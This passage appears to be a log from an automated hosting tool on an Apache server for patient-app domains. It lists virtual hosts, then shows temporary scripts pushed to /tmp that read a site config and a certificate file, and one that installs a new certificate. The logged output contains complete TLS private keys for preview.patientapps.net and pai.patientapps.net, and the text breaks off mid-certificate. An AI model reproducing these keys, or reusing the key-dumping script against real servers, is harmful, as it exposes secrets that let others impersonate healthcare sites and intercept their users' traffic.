port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:03:16:
PUT: /tmp/pkp249282
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_preview_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:03:16:
chmod 755 /tmp/pkp249282; /tmp/pkp249282; rm /tmp/pkp249282
2025-11-03 06:03:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 1436
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-03 06:03:16:
PUT: /tmp/pkp555999
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:03:16:
chmod 755 /tmp/pkp555999; /tmp/pkp555999; rm /tmp/pkp555999
2025-11-03 06:03:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt 5368
64:5e:d9:bb:50:03:d7:3e:c2:27:9b:0d:de:82:e3:19
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBoR5yQzAUvBd0RrpjlswcynQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDQ0WhcNMjYwMjAxMDUwNDQzWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBALo874QPa7C0Wy4ehcI8NvkpvM5VnWo+ZiPRPqvSJ1i8eNI/faNp
qhxVJxHZgc968WB87GIRfNjPa3snzteXOZGLzhq+6en9wv1hdtmgWKaqjDKulH//
3TSwjxZEkLzuKh5n4z4YK/dqYJsMrqy4zoo7bCzUC3phGIjPiJSXXmNz06eXyNe5
ha1qP8r/IZEvbhUiyd8VyzwQZ+1R/fVmG37HCqiISa3QHzXCPTtM3+XNb6c6fTJr
QS+5zFcv/SB0yKf7y8nxrXk0SUMGAxl5UlwsaElh6WFi+mzeOtoRt4E7a3mjvGWZ
9vFUAuN8z8+104ftuXbPGmNbSlfYF0xtWW8CAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUO9HJ2StIOPPGLJYlWDuK74qkbGwwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgxLmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
mkhQBDwAAAQDAEYwRAIgbV09mp6DSr8CXqo/p66+NFW1aFiZtw0SNXEHfcuFyDkC
IAaq1HOOwu5SaNywGRgBMv2g8BOeE1LYXEyJ0ZPVqcWfAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaSFAEiQAABAMARzBFAiEAxn1KDcUa0Out
xsn9pcUZwki3zPMDtRgmEJQx+/65vI0CIFUoTmiysxm6D4Xf0FYTYSr+hx6OhdC3
vCMQLZ+4qtaHMA0GCSqGSIb3DQEBCwUAA4IBAQCPpimbyPzpYwhd/EbAQ75cVsqX
2s2HE2TPZbbFJshPDNMb9aYlNalke1FVWbj69z+Zplx7cOkDgGIOjfZJ2FZbbg/D
tbe1pE4WVnLNL7ruvUzaWTaZ3u/qoDxrJHfb+Xu6k+95JRvkqhnaRsPBxIektOVV
ULgqIzMDTSJoo6tyoGNpJiQbPoux5iWmwrTiYadP4Rssvqd+69yRqjl1VJLIFv0y
J1reu++H3vQ8SlM8pIV9zNBk4bVT82sH019cfvinc2UymmTAapmELQ5F7ncGSdo/
cOTE8g38mvFrDg9pck/10rJ1/eWNTgO72vaXnMzxBvrSnbJLKEsnzu/x0iSG
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC6PO+ED2uwtFsu
HoXCPDb5KbzOVZ1qPmYj0T6r0idYvHjSP32jaaocVScR2YHPevFgfOxiEXzYz2t7
J87XlzmRi84avunp/cL9YXbZoFimqowyrpR//900sI8WRJC87ioeZ+M+GCv3amCb
DK6suM6KO2ws1At6YRiIz4iUl15jc9Onl8jXuYWtaj/K/yGRL24VIsnfFcs8EGft
Uf31Zht+xwqoiEmt0B81wj07TN/lzW+nOn0ya0EvucxXL/0gdMin+8vJ8a15NElD
BgMZeVJcLGhJYelhYvps3jraEbeBO2t5o7xlmfbxVALjfM/PtdOH7bl2zxpjW0pX
2BdMbVlvAgMBAAECggEAJ8LqwB8qtsdK0EXj+NwyQHAQx1ywBwbbd7oszzJHBEL4
6Kp1gHYGw5XKiZ0OgeWVsyv4q9df+EoQgHK3ToAS4mge0McB2ds7zi0I2t3JD4xJ
8mgjfFB8QcuQQQjSfgO7KlKzyYYPnPsxNOk4QdgTAKA/MDL1YGNqgYsNdev7UvAC
XpvsYERqhD6FHtj1dnNesZRW72EPJaq/HhenPMwaOihtQ9r7mqvAuXV10UaLEwXL
xkSoYOa+aohgj00qJu8XfRuiq1Lxqd7ZDBOQ18BUrbsA2M7ZNbfS/qZIvbH5owDi
MoIwVnH9H11qw7L5aeCx+5yAc6nnnK1IDddsH7yuwQKBgQDla5yDh6DKll481Mty
eMOVeKXbwaDVDn2ypCFPdWp6D4trcchf66JgwwNqjJ2I9wP3TqBpC/QJfpziC9+V
wcsiAT6KtiNcrnsbzHEdLgukGWyPTC4LLm+rLbp6PKb8uGf9m2Zd0Z15vxMVtg1T
eDseELlHqNlCMkMV+7dF0P5QTQKBgQDP0JPhHpv5I3gnTzrG9uMwfRwGMq44EUoF
ex/l5HpCCJRVEpeGaqldKeL9TImkoFEtLyvjKUNE13vaMw7zOVDVaaVma6vT2co/
2iy9UIxWVAbc3w5cSS39mbgJJCxjdQ53nOD1U7AE2x4NNkJPdsOHuDh38vLbcBcX
6DaXY4+OqwKBgCanZO18UokPoL0bFVQqKLnsY/WMwC5ljKQmpz4eCFycdd8agqo2
p1sqQE8Zdgl3pQFsC/bm/q0C2ifz3C39Qt5t2z2/xmF9PFzIq15BPdDeP749FZzo
rAPpZnvl8DSwVUUTg8HW6XNz0CFeVQx1O3CrXKxINKLEmS0BBjYLKm4ZAoGAcrmf
KeSQDtY5+tmOhVC+04H9+p33+BPzXVs/nNapd9LssJp29Enl/fylx1h9lFi898jW
3a1l6ZdcVHVjh3rY2Thdi1FdprLRKLb1g/33u6DfuQebEe+EaEB4jPNfXfi9Z+M/
fbAZuFSPHpQZv2y9PSvCYNXKpMIYvaYAnUrlcckCgYBW9lq+lsJRgJ8x1WVVrPGO
zAAW3J65APkuhZUOt131Uhjt6xI7Ol7qpj10wrIpMOIm7/De857pF3PDYQc+s6UA
RNqD6HISu7WoRAn+4DztxkgGQLB7s9r9Dh8wyXWF/N7+Kg3W1CYrm49ak4RB/QQa
6amp9iqENOFSBlaO01qqNQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-03 06:03:16: Establishing a connection
2025-11-03 06:03:16: Establishing a connection
2025-11-03 06:03:16:
PUT: /tmp/pkp402379
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:03:16:
chmod 755 /tmp/pkp402379; /tmp/pkp402379; rm /tmp/pkp402379
2025-11-03 06:03:16:
0
2025-11-03 06:03:41: Establishing a connection
2025-11-03 06:03:41:
PUT: /tmp/pkp250776
#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt
cat > $temp_file <<'endmsg'
13:91:4c:4a:0b:01:c8:aa:2b:1d:be:dd:65:4e:13:5e
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBqPZkZwQEwf8s+Oj2aYU2zgyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNTExWhcNMjYwMjAxMDUwNTEwWjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2jdAh7gaySL/nIju8VDFrIGJdNeQsgLtSEPUrs11JCbnYLB12oyViHhQ
du2x04zdSlaUIiSk952OugnE7wNE2oNjXC/FUnEgPWinHzXfMFFGOOcmRRXsI96M
efFFlHabM7vg1MG91zMErAGiWg0du1aG5KuI8OPJtlKAS9v5SithMZScmy4cbtc9
zslF8luWjTZty0D69tBlOn+8Tym+ImK/uko9SBS6whZX0AduaWNRNe5avFschXBW
RHVadtFAv/iKsUHrFZoArRDOhZSyYbcyKUooM2lxwqotoN/e0faZmdwcmP3vU9xQ
xF0k2rn01VkF3jB7IKWF1gFWv/G62QIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBS4M2+f7bWjj256VMMzImbf69xpvjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy81MS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZpIUGuXAAAE
AwBIMEYCIQCLsQWKwfOuNRU1vHdNsZ3vFvNtLNR9Q59Fup5TKf/W+gIhANePrkBk
a8kGC3rTMktex8AFT1m6XwfR6yDnjbZSa0diAHYAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGaSFBruQAABAMARzBFAiEA24kjCzEwlrA1tAf1noo+
jIQmjU/uv8UO/6skF0ODxSYCICObh6X5TW43hZ7eYlH8o22WKZvXAapwj/gtgIqz
t2MqMA0GCSqGSIb3DQEBCwUAA4IBAQA4IRq1sohOXL32rXNC4tuFvNSzPyVgAl0g
tmTyGvWmJFdsrMrtIe0f4Nx7D/kXIhOG5tsTIoqQv0juqQvmPZ9VtTY1EhgnnSzC
NGYihhqlFh3ZRphs/q1IfcorP6xN9W/hoE7U80+b4HyuJJcxmVCyn4mz9mSHeJIl
22ZfiO1kMH3cyRCom6daS2Km6y8hEe1TbWC4b2/OXJvuCdaB1DpMGgsU0fESSX49
28WKEG0qOiqYT4IebL3DCx48DtfqXFIMZOYI+VR3ZeXyM4fKJwhn5BExOPzoGevy
FEENAkzzPp8m++NvmGypV9zIndginlLIfmqjAqTZEpQrb2LBhX1z
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaN0CHuBrJIv+c
iO7xUMWsgYl015CyAu1IQ9SuzXUkJudgsHXajJWIeFB27bHTjN1KVpQiJKT3nY66
CcTvA0Tag2NcL8VScSA9aKcfNd8wUUY45yZFFewj3ox58UWUdpszu+DUwb3XMwSs
AaJaDR27Vobkq4jw48m2UoBL2/lKK2ExlJybLhxu1z3OyUXyW5aNNm3LQPr20GU6
f7xPKb4iYr+6Sj1IFLrCFlfQB25pY1E17lq8WxyFcFZEdVp20UC/+IqxQesVmgCt
EM6FlLJhtzIpSigzaXHCqi2g397R9pmZ3ByY/e9T3FDEXSTaufTVWQXeMHsgpYXW
AVa/8brZAgMBAAECggEAayv1snJWHXDl70BFchlEbFvWYZ85fmP3m6VMwGlB3faJ
brBbwXGIQ1Ur160XyBmH2Wm6KSasKrykC3Se1vBZEaSz2OPRWpMazW4nnil8KyPP
hETqQ8XnixpTDdTUYnz57qeYXYWlshppcfz/epC0iHyPlaE1iXGmcLgGMLuhrK3H
QfC8onjprRv4znqZUM9dUTB8W89iCvrgPr4D7dxnC9UHbgH3yKkEXuw0c+DG1wo9
URyGDsurJE8LynZ1YxsBi5YZb0dZABu1/DRPCzg7JFG2z6q3eVBPmvAM0QeH1RMe
cEOmksKk2nt/pDN3qE3wHfPn8J35TR5ASRxfC1sDjQKBgQDxFYyum/c5Mpd3Jrbj
h+ThqxUYAPb8623hjLKISwg90NC8AQ/Id0h1UtSFaK9ctnd4j/OpNQ62KdssiXLu
28w0aWjl4j6tid/aR5cWu4rUic2FhYUDZS40U8E24g2TAQ8DAy8LUoMmkvj3AkW7
ctnVfewiMMG/QdDtgORTN0vcEwKBgQDnt3+eHjiIZ+y52xEKu6XYmSJlgw8xcfhR
MWgLgoSD74TNOckxHkJE+UkxGwk+eIKOAnzqRjucRlx2KOjDcpzaFUP5S7/dKVIN
tZbFKa92xv0kwDMhxGDywXJKkyt21PIG8eb4bNyRX0F8zcQv7W8pxPoa4PK9Nr6J
Zp0ixwLS4wKBgFwyWI3CGaanIWOwy4pyQubGjZeTbuFEi84RB4m14B37yIfNhCKu
82fi2GF4qm+zXDcgHhfcsZaapTYADpMoPYzhrvsTLdMiAhiw/if0auBjHtTsPfUR
cb0TNrXtdzF72yjUw935nSxYUpvsI4zPHF1X/cEJkl65JdReUXM9l2Y/AoGBAL5p
xV5LGUvGkvq7sYpvXz7ZwDFI/NA2Bse54PUsYPcGecwnw1QwuGZzsBjBTdxfLXHD
S6E867lk/JBA193crlZsCTqwa88zKHGJmocU1VK2/MkZhCsodD6ohuIPhDUXknfw
i0v0MWDotSj48lIsPCBH9PrnhbHFbdf9Uf2FKqXfAoGAI6n+taA0nYrGJcFUbAnd
i49C4aqJQhNQbfMm7q5utk/e8deoWbefWGdq75mU+EIXklZ+ISvjdPvpYmpPGU0J
yLcNn0Lpamnh67XXLhmN+7m/P+xgGRPlttTMti05dTdh9GTDXCtmbXygEVWYP+Gd
zkkib+N+peajTeQvcR689ko=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
